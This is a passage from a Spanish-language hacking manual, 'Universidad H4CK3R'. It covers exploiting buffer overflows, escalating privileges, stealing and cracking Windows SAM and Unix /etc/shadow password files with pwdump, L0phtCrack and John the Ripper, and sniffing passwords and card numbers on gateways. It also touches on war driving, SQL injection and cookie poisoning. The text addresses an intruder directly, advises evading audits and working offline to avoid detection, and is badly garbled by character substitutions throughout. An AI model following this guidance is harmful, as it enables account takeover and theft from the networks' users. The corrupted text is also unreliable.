eecutamos l%inQs3G 2l shell se eecuta en el usuario del programa vulnerable. Si fuera, por
eemplo, en "pache, obtenemos un shell de usuario no%od+. /o !ue ms gusta a los
hackers, hasta ahora, son programas vulnerables eecutando S:3( ... Pero esa es otra
historia 0vaya y bus!ue por ahG1.
2n OindoPs los programas vulnerables corriendo con privilegios de sistema son un
peligroG "cceso completo a la m!uina. Para e5plotar un desbordamiento de b%fer lo !ue
generalmente se hace es llamar a las funciones (// accesibles por la aplicacin
vulnerable. Sugerencia para el estudio de eecucin arbitraria de comandos en OindoPs=
O3-3-26.(// y la propia ;M..(//. <tra ve# mu$vase ...
-o vamos a profundi#ar ms por!ue no est dentro del alcance del libro profundi#ar
218
ikimilikiliklik Universidad H4CK3R
demasiado en las entra)as de ning%n ensamblador. Para empe#ar un te5to bueno para
los principiantes en desbordamientos buffer es= PPP.mi5ter.void.ruLe5ploit.html. Para
obtener ms informacin recomiendo la lectura de los documentos t$cnicos CMatal 9rrorD
0struck.Am.comLT1, el e5celente te5to sobre los desbordamientos de buffer en OindoPs
de (ark Spyrit 0community.coreFsdi.comLFulianolbufo.html1 y el estudio !ue comen# todo=
4Smashing the stack for fun and profit4, del legendario "lephl publicado en la edicin ?B
del e#ine Phrak en 1BBJ y disponible en lnea en PPP.insecure.orgLS6MLsmashstack.t5t.
<tro documento de trabao digno de nota= cmo e5plotar servicios avan#ados con
desbordamientos de pila, va mucho ms all de la obtencin de un shell. 6aeho <h
muestra en postech.eduLFohhara 0o, alternativamente ohhara.sarang.netLsecurityLadv.t5t1
como atravesar los firePalls basados en filtros de pa!uetes, abrir sockets 0y por lo tanto,
puertas traseras1 en el propio e5ploit y librarse de la prisin CchrootD. #13root es* si(plificando
la definicin* una for(a de "enjaular" una aplicacin que requiera derec3os de superusuario para funcionar.
"or(al(ente* la aplicacin se instala en un directorio que tiene una copia del siste(a de arc3ivos del
siste(a operativo* pero no es el siste(a de arc3ivos real. -n este falso a(%iente* la aplicacin se ejecuta
con pseudo!derec3os de "root"* que slo son vDlidos dentro del entorno. 'a aplicacin estD feliN de ser
enga4ada + funciona perfecta(ente. Si un 3ac/er entra en la (Dquina a travMs de un des%orda(iento de
%Afer de la aplicacin en "c3root"* conseguirD* co(o (D)i(o* el (is(o superusuario falso que utiliNa la
aplicacin&.
Si realmente !uieres conocer a fondo todas las compleidades de los desbordamientos de
pila 0donde se basan el BB] de los e5ploits1, te recomiendo, de nuevo, dear de leer el
libro y estudiar los sitios indicados. Necuerda, Toogle es tu amigo ... -i !ue decir tiene,
!ue es un re!uisito previo tener algunos conocimientos bsicos de . y ensamblador.
"un!ue algunos dicen !ue no, el lenguae Pascal 0y por lo tanto tambi$n el (elphiLSyli51 y
+asic 0Visual +asic, 6urbo +asic, Euick +asic,...1 e incluso nuevos lenguaes como . U U,
. t y tambi$n Zava, sufren la misma dolencia . /as formas de e5plotar los estallidos en
estos idiomas son diferentes, sin embargo, la vulnerabilidad e5iste.
*cceder a otras cuentas
*ou knoP the day destroys the night L -ight divides the day L 6ried to run, tried to hide L
+reak on through to the other side04Sabes !ue el da destruye la noche L /a noche divide el da L
intenta correr, intenta esconderse L "traviesa hacia el otro ladoD. (el lbum de 6he (oors, de 1BJ@.1
Hasta el momento, invadimos una sola m!uina. <k, es posible !ue hayas invadido
muchas, incluso die# o !uince de ellas, pero aun no has investigado cmo funciona un
entorno de red. < peor a%n, consigues un shell restringido y no puedes hacer muchas
cosasG 2ncontramos dos eemplos clsicos en las pginas precedentes= el servidor Peb
"pache 0!ue corre en modo de usuario CnobodyD1 y aplicaciones !ue se eecutan en el
entorno CchrootD.
6omemos "pache= usted aplic un e5ploit en $l y consigui un shell. Slo !ue, en este
shell, el usuario !ue est conectado es el no%od+ F un usuario especial creado
precisamente para no dar poderes especiales a posibles intrusos. .omo "pache no
necesita poderes especiales para funcionar, slo tener acceso a sus propios archivos,
todo va viento en popa. :n Script kiddie entra por %uffer overflo$, tiene acceso a un shell
de no%od+,solo puede, !ui#s, sobrescribir alguna pgina H6;/. -o tiene acceso a la
219
ikimilikiliklik Universidad H4CK3R
red, no tiene poderes de CrootD, ni si!uiera tiene un directorio Lhome ...
2n OindoPs 0-6 y &'''1, aun!ue con frecuencia los administradores instalan programas
servidores en los grupos C"dministradorD o CSistemaD, se recomienda tambi$n una buena
prctica de seguridad, dear esos programas con los mnimos derechos posibles en el
sistema.
2n este escenario, nosotros invadimos la m!uina pero no tenemos mucho poder sobre
ella. 2s hora, por lo tanto, de buscar, de alguna manera, el acceso a otras cuentas y, si es
posible, al superusuario.
/a primera forma es la !ue vimos en pginas anteriores. -ormalmente, todos los usuarios
tienen acceso a diferentes programas en el e!uipo. 2n una m!uina :ni5 tenemos
muchos scripts, programas de todos los tama)os como fetc3(ail* <+SQ'* Infor(i)*
Tracle* send(ail* entrada* telnet* popd* inetd ... ;s cerca del usuario final, a%n, tenemos
el servidor grfico de K OindoPs, los entornos S(2, T-<;2, .(2, OindoP;aker 0etc,
etc, etc1 y las aplicaciones asociadas. 6enemos, ademas, los propios de la configuracin
del sistema, tales como linu)conf en /inu5, s(it en "3K, ;d(intool en Solaris, S;< en
HPF:K ... .ada uno con ms o menos derechos en el sistema. 425plotar4 cual!uiera de
los programas en este apartado puede conducir al CrootD, o por lo menos a un usuario con
ms derechos. :n %ltimo conseo= lee la pgina del manual para CsuD y CsudoD y el archivo
QetcQsudoers. Puede !ue te resulte interesante.
2n OindoPs no es distinto. 33S, el subsistema de seguridad y de acceso, ;ccess* ,ord*
-)cel* 2o$erpoint 0triste, pero puedes encontrar servidores con <ffice instalado ...1, <S
SQ' Server* varios 1:Is ... 6odos ellos pueden ser e5plotados para ofrecer un mayor
control. Hasta llegar a un usuario o un programa !ue permite el acceso a la lnea de
comandos con los privilegios del grupo CSystemD 04root4 para OindoPs -61. /a cu)a, en
este caso, es a causa de usar e5ploits sucesivos 0para ganar ms poder1 hacia algunos
(// o el propio kernel. Si usted ley el captulo sobre las plataformas OindoPs, se enter
de !ue varias partes del kernel se eecutan en C;odo :suarioD. "lgunos, todava se
eecutan con los privilegios del grupo CSystemD. &U& >
Si bien es fcil y efica#, depender de e5ploits puede ser in%til en sistemas correctamente
configurados y, especialmente, actuali#ados. Hay, sin embargo, formas alternativas de
acceder a otras cuentas. Nomper contrase)as es sin duda la ms utili#ada.
= 4Btodos 7ara descu&rir usuarios - contraseLas
2n el captulo @ 0Vulnerabilidades 31 vimos varias formas de romper las contrase)as del
sistema. Necordemos algunas=
1. /ogins ($biles= Pares usuarioQcontrase4a con palabras fciles de encontrar en el
diccionario o peor, !ue pueden ser descubiertas a trav$s de la ingeniera social F son
uguetes en las manos de los hackers e5perimentados. 25isten cantidad de listas de
palabras y aplicaciones !ue intentan combinaciones basadas en diccionarios.
&. Muer#a +ruta= Si los /ogins no son tan d$biles, e5iste la posibilidad de un ata!ue directo
4tonto4, !ue prueba las posibles combinaciones de letras, n%meros y smbolos en el
teclado hasta !ue encuentre uno o ms pares loginQclave para entrar.
220
ikimilikiliklik Universidad H4CK3R
9. 2l robo y descifrado de los archivos de contrase)as= si el hacker puede obtener una
copia de los archivos de contrase)as 0bases de datos S"; en OindoPs, el archivo LetcL
passPd y LetcLshadoP en :ni51 est dentroG Slo tiene !ue utili#ar herramientas conocidas
para hacerlo 0como /opht.rack para OindoPs o Zohn the Nipper para :ni51 y QvoilG
6odas las contrase)as del sistema se encuentran en el chat, incluyendo la del
administrador de OindoPs y del root en :ni5.
"ntes de tratar de descubrir los pares logins y contrase)as, vamos a ver un eemplo de
ata!ue de diccionario y fuer#a bruta. 6enga en cuenta una cosa= ya estamos dentro de la
m!uina, por lo !ue nuestro script ya no enviar una solicitud de entrada a trav$s de la
red. Podemos recurrir a los procedimientos locales de inicio de sesin del sistema
operativo para tratar de cambiar de usuario. (e nuevo, un poco de ingeniera social, si es
posible, siempre ayuda.
"un!ue puede utili#ar programas preparados, como internamente cada caso es %nico, la
meor manera es hacer una secuencia de comandos 0shell en :ni5, OS2 o V+" en
OindoPs1 para probar secuencialmente la lista completa de las palabras en todas las
combinaciones posibles logins y contrase)a. 2laborar listas de nombres obtenidos
mediante la ingeniera social es una buena prctica.
:n script !ue hiciese esto debera tener la siguiente estructura=
1. .oge la siguiente palabra del archivo de diccionario_
&. 3ntrodu#ca ese nombre en el programa de login del sistema_
9. .oge la primera palabra del archivo del diccionario_
?. 3ntrodu#ca la contrase)a en el programa de inicio de sesin_
I. .oge la siguiente palabra del archivo de diccionario_
J. 3ntrodu#ca la contrase)a en el programa de inicio de sesin_
@. Vaya al paso I hasta !ue todas las palabras se hayan utili#ado_
A. Volver al paso 1 hasta !ue todas las palabras se hayan utili#ado.
2s fcil de implementar esto, por eemplo, con los programas de inicio de sesin o 4su4 en
:ni5, con un script de shell. Pero hay un problema= :S62( 2S6H S32-(< VlT3/"(<G
6odos los intentos fallidos de inicio de sesin se registrarn en los registros del sistema.
.omo usted no tiene privilegios de root, sera imposible de borrar esas huellas. 2sta, por
lo tanto, no es la meor manera de tratar de entrar. Hay, sin embargo, una forma
asombrosamente simple y ms segura= el robo del archivo de contrase)as y el descifrado
posterior de los valores hash.
2s imprescindible no ser descubierto. Por lo tanto, la metodologa utili#ada por la mayora
de los hackers es obtener el archivo de contrase)as del sistema y tratar de romperlas,
fuera de lnea, en casa. Se pueden utili#ar varios ordenadores conectados en grupos X
con :ni5 es muy fcil de hacer en casa, supercomputadoras con cinco o seis ?AJs e
incluso 9AJs sacados de la basura F y programas de cra!ueo de contrase)as ya
mencionados F /<pht.rack y Zohn the Nipper. :na sola m!uina con OindoPs -6 con
/<pht.rack ya es algo importante= aun!ue lleva un mes o dos conseguir alguna
contrase)a %til, tiempo es lo !ue ms tiene el hacker. * al trabaar en casa, su trabao no
ser perceptible.
221
ikimilikiliklik Universidad H4CK3R
= Rom7er las contraseLas en Windows
/a mecnica es simple. :sted debe=
1. Nobar el archivo de contrase)as y llevrselo a casa_
&. Pasar el archivo de contrase)as por el programa crackeador_
9. Probar las contrase)as recuperadas en el sistema original para ver si los usuarios no
las han cambiado.
.omo eemplo prctico, vamos a usar un descendiente del antiguo /<pht.rack, el /.?,
actualmente distribuido por la firma de seguridad uStake 0PPP.atstake.com1. .reado por
los hackers como prueba de concepto para demostrar las debilidades de los hashes de
OindoPs -6, el softPare ha llegado a la versin &.I pero con cdigo fuente abierto. "
finales de los B' los derechos del softPare se transfirieron al propietario actual, y el
/<pht.rack &,I fue relan#ado como /.9. /a /.? es por tanto una evolucin directa de
/<pht.rack &.I. 2l softPare se vende a un precio de 9I','' dlares por licencia, pero se
puede descargar una versin de prueba vlida por 1I das F con las rutinas de fuer#a
bruta desabilitadas. 2n su pgina Peb, uStake ofrece, gratuitamente y con cdigo fuente,
la versin 1.I de /<pht.rack F a%n en la lnea de comandos.
Para el paso 1, nosotros de alg%n modo tenemos !ue 4chupar4 los valores hash de los
usuarios !ue figuran en la base de datos S";, normalmente se almacenan en el registro
en HS2*c/<."/c;".H3-2dS2.:Nl6*dS";d(omainsd"ccountd:sers 07-o creeriais
!ue nos iba a decir la clave81. Para ello, podemos utili#ar una utilidad propia de /.?
llamada CpPdumpD.
<tro programa !ue roba contrase)as de S"; es el CpPdump9D. <riginalmente
desarrollado por Zeremy "llison y 6odd Sabin, est mantenido por la empresa, CPoliVecD.
3ncrustado en sus m%ltiples productos de seguridad Scanner 2oliUec, el CpPdump9D
0PPP.polivec.comLpPdump9.html1 permite !ue las contrase)as se recuperen incluso
remotamente a trav$s de la red 0incluyendo 3nternet1.
:na tercera opcin es una utilidad !ue viene con pa!uete de servidor S;+ para :ni5,
Samba 0PPP.samba.org1. Zunto con el producto se incluye un crackeador llamado
CpPdumpD, !ue e5trae la base de datos S"; y la convierte en un archivo de contrase)as
de Samba 0smbpassPd1 vlido. ;s informacin acerca de $l se puede encontrar en
us1.samba.orgLsambaLftpLpPdumpL.
2n los tres casos, se generan archivos de contrase)as !ue puede interpretar el /.?. 2n
los tres casos, tambi$n, se necesita privilegios de administrador para eecutar el
programa. 2ste obstculo, a pesar de complicacin, es todava maneable. Hay varias
maneras de hacerlo= eecutando el programa en la m!uina obetivo a trav$s de un
e5ploit, eecutando el crackeador en una m!uina con contrase)as d$biles y relaciones de
confian#a con el e!uipo de destino, haciendo invasin fsica en el local donde esta la
m!uina ..
:na ve# conseguido el fichero de contrase)as, proceda con el Paso &. (esconectese
completamente de la red !ue va ha ser invadida y eecute , en casa, el /.? contra su
archivo . 25iste una amplia documentacin incluida con el propio producto, por lo !ue no
222
ikimilikiliklik Universidad H4CK3R
se detalla a!u. /a siguiente figura muestra un proceso de cra!ueo en curso, con algunas
contrase)as ya descubiertas=
-ota= como hemos visto en los captulos sobre las vulnerabilidades, las cuentas en Oin-6
se almacenan en dos hashes= uno para el antiguo /"- ;anager y otro con la contrase)a
ms fuerte de -6. "dems de !ue el Hash /; es ms fcil de romper, por lo general los
usuarios utili#an la misma contrase)a a nivel local 0-6/;1. 2l mismo /.? lo sabe, y una
ve# conseguida el contrase)a de /;, interrumpe la fuer#a bruta, e intenta la misma
contrase)a en el -6. .omo se puede ver en la imagen, varias contrase)as ya se han
descubierto y, en este eemplo, todas son iguales en ambos campos. Parece !ue al
usuario s3ennes+ le gusta serie de Star 6rek y al usuario djattan no parece muy feli# con
su lugar de trabao F con un poco de ingeniera social, el hacker no tiene ni si!uiera !ue
usar el /.?. 2l usuario invitado no tiene contrase)a 0glupG1.
/a figura anterior fue e5trada de un estudio reali#ado por (an Smith, de la :niversidad de
.arolina del -orte, 22.::., y se puede encontrar en PPP.unc.eduLsmithdrLinls1A@Lsr.html.
2l estudio, ademas de anali#ar el softPare aporta datos sobre el tiempo para crackear
contrase)as de todo tipo, d$biles o tericamente seguras.
Por %ltimo 0paso 91, comprobar todas las contrase)as !ue consigui en el sistema
invadido. 2s posible !ue algunas est$n cambiadas, pero usted sabe ya, al menos los
nombres de usuarios vlidos y los patrones !ue utili#an para preparar sus contrase)as.
Por eemplo, la cuenta "dministrador mostrada posea una contrase)a, +"N-"+"S'B .
/as probabilidades son entre el A'] y el B'] de !ue en los pr5imos meses, sea
+"N-"+"S1', +"N-"+"S11 ... .reo !ue lector ya 4pesc4el mecanismoG
223
ikimilikiliklik Universidad H4CK3R
= Rom7er las contraseLas en Uni
7.rees !ue el sistema cambio8 -ada de eso=
1. Nobar el archivo de contrase)as y llevrtelo a casa_
&. Pasar el archivo de contrase)as en el programa crackeador_
9. Probar las contrase)as recuperadas en el sistema original para ver si el usuario no las
ha cambiado.
Hay varios programas en :ni5 !ue descubren las contrase)as en los archivos cifrados. 2l
ms conocido es sin duda CZohn the NipperD. 2l uso es tan fcil !ue es indignante. :na
ve# instalado y configurado, simplemente 4alim$ntalo4 con el archivo de contrase)as y
dea !ue haga el trabao. /a sinta5is es simple=
6 Do$n #rc$ivo_contr#seS#s
2n el paso 1 tenemos los mismos problemas !ue tenamos con OindoPs. .omo vimos en
el captulo relativo a las plataformas :ni5, los sistemas modernos usan la ocultacin de
contrase)as, !ue consiste en separar el proceso de registro en dos archivos= LetcLpassPd
0!ue contiene la informacin sobre el usuario como el nombre, login, T3(, :3(, directorio,
home y shell inicial1 y LetcLshadoP 0!ue contiene las contrase)as encriptadas1. .omo
LetcLpassPd debe ser legible por todos, los hashes estaran sin proteccin si estuvieran
all. 2l archivo LetcLshadoP, por el contrario, es legible y escribible solamente por el
superusuario, o root. Si el sistema invadido posee ocultacin de contrase)as , usted slo
ser capa# de robar el archivo LetcLshadoP si est en un shell CrootD. Si el sistema
invadido no tiene ocultacin, el 4administrador4 ha deado a la mitad del trabao hecho por
ti ...03ncluso si el sistema tiene ocultacin de contrase)as, usted todava tiene los nombres de cuentas
vlidas.1
2ncontrar y aplicar un e5ploit !ue le de acceso a CrootD es la manera ms directa de
obtener el archivo de shadoP. <tras formas son=
1. Hacer volcados de n%cleo 0core dumps1 de programas S:3( CrootD !ue accedan a las
contrase)as 0como M6P, SSH o 6elnet1_
&. .omprobar en el archivo pass$d !ue usuarios tienen 4pinta4 de administrador F es
posible !ue $l tenga programas S:3( en su Lhome.
:na ve# descubierta la contrase)a, vaya al paso &. Simplemente eecute CZohn the
NipperD, de acuerdo con la configuracin y espere. "l final, encontrara una lista de
contrase)as vlidas 0posiblemente la de CrootD, tambi$n1. 2l tercer paso es trivial= volver a
la escena del crimen y usar las contrase)as. -o hay nada como una sesin como un
usuario autori#ado para despistar a las auditoras de invasin.
0&tener acceso - destruir la red
:na ve# dentro de la red, hay varias acciones posibles !ue deben tomarse. 2stando en
posesin de una m!uina, puede ser ms fcil invadir otras. Pero no slo de 43nvasiones4
vive un cracker. Puede, por eemplo, utili#ar la red como un trampoln para otras redes
ms grandes. < capturar contrase)as de los usuarios en servidores e5ternos F tales como
224
ikimilikiliklik Universidad H4CK3R
contrase)as en bancos o n%meros de taretas de cr$dito. < desviar el trfico para !ue los
usuarios se dirian a trampas o sitios Peb falsos.
2n esta seccin se presenta una breve descripcin de estos tipos de ata!ues, con
enlaces a sitios con ms informacin.
= War Jri1ing - War C8alking
:na de las formas ms nuevas de invasin corporativa es la guerra de direccionamiento.
/os hackers salen por las calles de la ciudad con soluciones alternativas hechas de latas
de las patatas fritas, arandelas y algunos cables y capturan cone5iones de red
inalmbricas con 4fugas4. .omo las empresas no suelen cifrar sus cone5iones internas,
una cone5in inalmbrica de ese tipo proporciona acceso ilimitado, similar al conseguido
si el atacante entra por la puerta principal y enchufa un cable al conector de su porttil y a
un enchufe de la red de la empresa.
2l tema es relativamente nuevo y merece un estudio mucho ms profundo !ue lo !ue
permitira este libro. Por otra parte, se re!uerira un libro entero sobre $l tema. :na
e5celente fuente de informacin y recursos 0tutoriales, e!uipos, sistemas de antena F
incluidos los de fabricacin casera1 es PPP.Pardriving.com. :n es!uema sencillo de
antena, construida con el mtico tubo de los chips de patatas Pringles, se pueden
encontrar en PPP.oreillynet.comLcsLPeblogLviePLPlgL??A.
Hackers europeos han ido ms all y han creado la Tuerra de marcar con ti#a F un
alfabeto especial para marcar con ti#a los puntos de acceso en la acera 0posicin
orientacin de la antena1 para una meor cone5in a las redes aenas. "prenda ms sobre
las t$cnicas utili#adas en el sitio oficial= PPP.Parchalking.org 0o, alternativamente,
PPP.Parchalking.us1. 2ste sitio cuenta con informacin t$cnica, tutoras, clubes, muchos
enlaces a otros recursos. 2l sitio PPP.blackbeltones.com tambi$n tiene varias
caractersticas. :n artculo sobre el tema se encuentra en la ;eca del Pireless, A'&.11
Planet 0PPP.A'&11Fplanet.comLcolumnsLarticle.phpL1?'&?'n.
= 4Fs allF de la in-ecci/n de ;<6
2n nuestro segundo estudio de vulnerabilidades, vimos formas sencillas para enga)ar al
script de la pgina 0ya sea en "SP, PHP, .oldMusion o algunos .T31 e inyectar en $l
modificaciones en la consulta asociada al servidor SE/. Pero hay otras maneras de ugar
con los sistemas basados en la Oeb.
/a primera y ms inmediata consiste en observar y manipular los datos en la propia :N/.
;uchos de los sistemas en lnea contienen informacin valiosa en estos campos despu$s
de la direccin H66P 0trabao principal= investigacin de la H6;/ m$todos T26 y P<S61.
Peinar una :N/ grande para entender cmo funciona el sistema es el primer paso para
entrar en este sistema. Sitios de bancos, tiendas e incluso sitios Peb del gobierno usan la
:N/ como transporte de datos de clientes sin preocuparse por el hecho de !ue contienen
informacin visible por cual!uier usuario de la red.
:n eemplo notorio de esto fueron las vulnerabilidades detectadas hace unos a)os en
Hotmail 0PPP.hotmail.com1. en !ue los identificadores de sesin, los nombres de usuario
y los hashes de contrase)as estaban presentes en la propia :N/. Hoy Hotmail ya no
225
ikimilikiliklik Universidad H4CK3R
padece ms de este mal, pero durante muchos a)os fue una laguna muy fcil de e5plotar.
Preste atencin, incluso en sitios !ue utili#an las llamadas <(+. y no SE/. Sistemas
1''] ;icrosoft tienden a favorecer el protocolo inseguro <(+. para el acceso a bases
de datos "ccess y SE/ Server.
"lgunos enlaces para la investigacin sobre la inyeccin de SE/ son=
F PPP.securiteam.comLsecurityreviePsLI(P<-lP@J2.html
F PPP.online.securityfocus.comLinfocusL1J??
F PPP.s!lsecurity.comL(esktop(efault.asp58tabinde5b&[tabid
F PPP.ne5tgenss.comLpapersLadvanced.s!l.inection.pdf
F PPP.spidynamics.comLpapersLSE/3niectionOhitePaper.pdf
<tro m$todo es el envenenamiento de cookies, una manera de manipular la autenticacin
a trav$s de 3nternet. .asi todos los sitios hoy en da se sirven de cookies para controlar el
acceso a las sesiones. .ambiar C:ser3(D y CSession3(D en una cookie puede ser un atao
para entrar en las cuentas de otros usuarios.
2s ms difcil encontrar recursos de el envenenamiento de cookies en 3nternet. /e
proponemos los siguientes recursos=
F Ohite paper= Hacking Peb applications using cookie poisoning
PPP.allasso.ptLbaseLdocsL11'?&&'J'I?.pdf.
F +uscar por la palabra clave CcookieD en Security Mocus 0PPP.securityfocus.com1.
(os programas !ue funcionan como pro5ys basados en un escritorio, y pueden utili#arse
para facilitar el maneo de cookies 0y tambi$n las cabeceras H66PG1= son el C"!uilesD y el
C+roPseTateD. /a empresa !ue fabrica C"!uilesD 0(igi,en Security Troup F PPP.digi#enF
security.com1 parece !ue ha cancelado el sitio Oeb, pero las descripciones de los
productos se pueden encontrar en Packetstorm 0packetstormsecurity.nlLfiledescLachillesF'F
&@.#ip.html1 y de Securi6eam.com 0PPP.securiteam.comLtoolsLJ/''N&''S".html1.
2l C+roPseTateD desarrollado por -et.Plus 0PPP.broPsegate.htmlLnetcplus.comL1 es otra
opcin de servidor pro5y !ue se puede utili#ar de forma perudicial para manipular cookies
de autenticacin en pginas Peb. Hay una rese)a del mismo en PPP.Pebattack.comL
etlbroPsegate.shtml.
Para todos los problemas enumerados, las posibles soluciones se pueden encontrar en el
sitio oficial de la seguridad en sistemas Peb= PPP.oPasp.org.
= Husmeando en la red M;niffingN
<tra forma de acceder a una red, despu$s de 43nvadir4 una de las m!uinas
pertenecientes a la misma, es pasar a 4escuchar4 lo !ue se mueve dentro de esa red. /os
programas !ue hacen este tipo de trabao sucio se denominan sniffers o rastreadores.
:n sniffer trabaa en la capa & de nuestro modelo de referencia <S3. 2sto significa !ue es
imposible hacer un sniffing directamente a trav$s de 3nternet en una red distante. 2s
necesario !ue el atacante instale y eecute el sniffer en una m!uina perteneciente a la
red local !ue !uiera rastrear.
2l obetivo ms inmediato de un atacante cuando instala un sniffer es encontrar las
226
ikimilikiliklik Universidad H4CK3R
contrase)as de otros usuarios en la misma red. (eando la herramienta 4funcionando4
durante unos das, puede obtener las contrase)as de decenas de usuarios y de cientos
de servicios 0Peb, correo electrnico, servidores, ...1. (ebido a !ue hay algunos servicios
autori#ados para usuarios especiales y negados a los dems, es interesante, a medida
!ue avan#a en la obtencin de contrase)as, !ue instale sniffers en varias m!uinas y, as,
consiga un universo mayor de ellas.
2s fcil darse cuenta !ue, en este conte5to,
el atacante ira 43nvadiendo4 poco a poco un
gran n%mero de m!uinas dentro la red
remota. .omo es una herramienta de la
capa & y, por lo tanto, local, el sniffer debe
ser instalado y deado en funcionamiento
sin !ue intervenga el atacante. /a
herramienta escuchar a la red y registrar
todo lo !ue es de inter$s en un archivo.
(espu$s de alg%n tiempo 0unos das o
semanas1el hacker volver a la escena del
crimen slo para recuperar el archivo con el
tesoro, !ue e5aminar en su casa,
desconectado.
Hay una manera ms perniciosa de usar un sniffer= ponerlo en una puerta de enlace entre
redes. .omo vimos en los captulos correspondientes, un gatePay es un dispositivo !ue
conecta dos o ms redes diferentes con el fin de dear pasar los pa!uetes entre ellas
cuando sea aplicable. :n sniffer colocado en un gatePay puede escuchar, entonces, el
trfico de todas ellas.
2n la prctica, puesto !ue la inmensa mayora de los gatePays conectan su red interna
con la cone5in a 3nternet, el atacante tiene a su disposicin tanto su conunto potencial
de contrase)as, como la informacin confidencial, correo electrnico, contrase)as y
taretas de cr$dito !ue entran y salen de su empresa. 3magnese, un escenario a%n ms
siniestro, un hacker !ue coloc un sniffer en un gatePay !ue conecta a su empresa a su
sitio de comercio electrnico, o al proveedor de taretas de cr$dito, o a sus asociados, o al
banco. ;ortalG
2l primer paso cuando se olfatea una red es poner la interfa# de red de una m!uina en
modo pro(iscuo. .omo vimos en los captulos Nedes 3 y 33 , cuando un pa!uete 3P llega
227
ikimilikiliklik Universidad H4CK3R
a una red, el interface !ue contiene el pa!uete pregunta= 47.ul es la direccin ;". !ue
contiene la direccin 3P de ese pa!uete8 2l e!uipo de destino responde con su direccin
;". y el pa!uete es enviado a ella. 2sto se denomina protocolo "NP.
42nviado a ella,4 como est escrito en el prrafo anterior, es un poco enga)oso 0o, como
o decir a un pastor luterano, es una 4e5ageracin de la verdad41. 2l pa!uete esta, en
realidad, ugando en el bus y todas las interfaces lo pueden leer. /o !ue pasa es !ue las
interfaces hacen 4odos sordos4 al pa!uete si no est dirigido a ellas. Slo la m!uina a la
!ue realmente se destina 4presta atencin4 a lo !ue est viaando en la red. /os dems
simplemente lo ignoran.
"!u es donde entra en uego el 4modo promiscuo4. :na interfa# configurada de esta
forma 4escucha4 6<(<S los pa!uetes !ue se transmiten por la red, no slo los
destinados a ella. Si esto es un facilitador para la aplicacin de herramientas de
monitori#acin de red F algo !ue todo administrador competente debera utili#ar F tambi$n
permite !ue alguien con malas intenciones, fcilmente escuche lo !ue no debera.
Para poner una interfa# de red en modo promiscuo, debe tener acceso privilegiado al
sistema operativo F es decir, CrootD en un sistema :ni5, CadministratorD en un sistema
Oin-6 o CadminD en un -ovell -etOare. Por lo tanto, es imperativo invadir completamente
por lo menos una m!uina de la red 0como se e5plica ms arriba1 para !ue podamos
hacer una 4cosecha4 despu$s. Hay varias maneras de poner una interfa# de red en modo
promiscuo. Hay programas especiales para esto en cual!uier plataforma e incluso son
posibles algunos trucos del sistema operativo 0sea OindoPs, -ovell, HPF:K ...1 sin la
ayuda de ning%n programa e5terno.
.ada sistema operativo tiene una herramienta !ue muestra el estado y cambia la
configuracin de su adaptador de red. 6omando como eemplo una distribucin de
T-:L/inu5, el comando !ue lo hace para nosotros es el ifconfig. 2scrito 0como root1 sin
argumentos, el comando muestra el estado de todas las interfaces de red. 2scrito seguido
del nombre de una interfa#, muestra el estado actual de esa interfa#. Por eemplo, para
saber cmo le va a la primera interface de red 0eth'1, el comando sera=
W ifconfi. et$A
2l resultado seria=
Enc#'s!#miento "e Lin%E4ireccion "e Et$ernet HW AAEA@E:KEL;E=KE8;
inet en"BE >89B>=@B>B>> Lc#stE>89B>=@B>B9;; M#scE9;;B9;;B9;;BA
(, LROA4CAST R(NNINT M(LTICAST MT(E>;AA M3tric#E>
R? '#c%etsE><;=: errorsEO "ro''e"EO overrnsE> fr#meEO
T? '#c%etsE@<AA errorsEO "ro''e"EO overrnsEO c#rrierEO
co!isionesEA
R? /ytesE<>=<::= -<BA M/0
T? /ytesE88KA:8 -8:AB: K/0
<bserve la informacin visuali#ada. :sted sabe, por este comando, !ue la encapsulacin
del link 0es decir, la capa & el protocolo1 es 2thernet, !ue el ;". es ''F'AF@?F+IFJ?FBI,
!ue la direccin de red es 1B&.1JA. 1.11, !ue el tama)o m5imo del pa!uete 2thernet
0;6:1 es de 1.I'' bytes, etc ... 6ambi$n hay algunos flags !ue indican si el interfa# est
listo o 4en pie4 0(P1, si se est eecutando 0N:--3-T1 y si responde a broadcast o
228
ikimilikiliklik Universidad H4CK3R
multicast. "hora vamos a ver !u$ pasa con el siguiente comando=
W ifconfi. et$A 'romisc
"l parecer, no pasa nada. 2l shell nos devuelve el pro(pt del sistema y ning%n mensae
de error o tarea completada. Pero, si escribimos el comando Cifconfig eth'D de nuevo, el
resultado sera un poco diferente=
Enc#'s!#miento "e Lin%E4ireccion "e Et$ernet HW AAEA@E:KEL;E=KE8;
inet en"BE >89B>=@B>B>> Lc#stE>89B>=@B>B9;; M#scE9;;B9;;B9;;BA
(, LROA4CAST R(NNINT ,ROMISC M(LTICAST MT(E>;AA M3tric#E>
R? '#c%etsE><;=: errorsEO "ro''e"EO overrnsE> fr#meEO
T? '#c%etsE@<AA errorsEO "ro''e"EO overrnsEO c#rrierEO co!iseesEO
R? /ytesE<>=<::= -<BA M/0 T? /ytesE88KA:8 -8:AB: K/0
Q+ingoG <bserve !ue la tareta est ahora en modo promiscuo 0flag PN<;3S.1.
"bsolutamente 6<(< lo !ue est viaando en la red es interpretado por el protocolo
6.PLlP del Sernel y por lo tanto se puede monitori#ar. 2sto incluye pa!uetes !ue no se
dirigen a esa m!uina.
= ;niffing 7asi1o
/as redes locales a menudo usan los
llamados hubs 0captulos Nedes 3 y 331 para
facilitar y agili#ar la cone5in de nuevas
m!uinas a una red e5istente. 2l hub
0concentrador1 tambi$n act%a como
elemento regenerador de se)al el$ctrica de
presencia en la red de buses. Pero el hub
0concentrador1 es un elemento pasivo
respecto a el control del trfico de la red
local.
Hubs y repetidores son dispositivos !ue
trabaan en la capa 1 del modelo <S3, as
!ue no tienen ning%n control sobre la estructura 2themet 0o cual!uier otro protocolo de
.apa & como 6oken Ning, PPP, Mrame Nelay o K.&I1. 2sto significa !ue un mensae
enviado desde una m!uina a otra se escuchar por todos en la red.
2s fcil ver en la figura anterior, !ue si la m!uina " enva un mensae a ., las estaciones
+, ( y H estn escuchando. Por tanto, a pesar de la apariencia de estrella, una red !ue
utili#a un hub 0concentrador1 para conectar las m!uinas es en realidad un bus.
.oncluimos !ue es muy fcil para un sniffer registrar y decodificar todo lo !ue circula por
la red. .mo trabaa con interfaces en modo promiscuo, todos los los pa!uetes de la red
se pueden interpretar. Pero, 7y si la red estuviera segmentada con bridges o sPitches8
2n el captulo & 0Nedes 31 vimos de pasada la descripcin de estos e!uipos. :n bridge
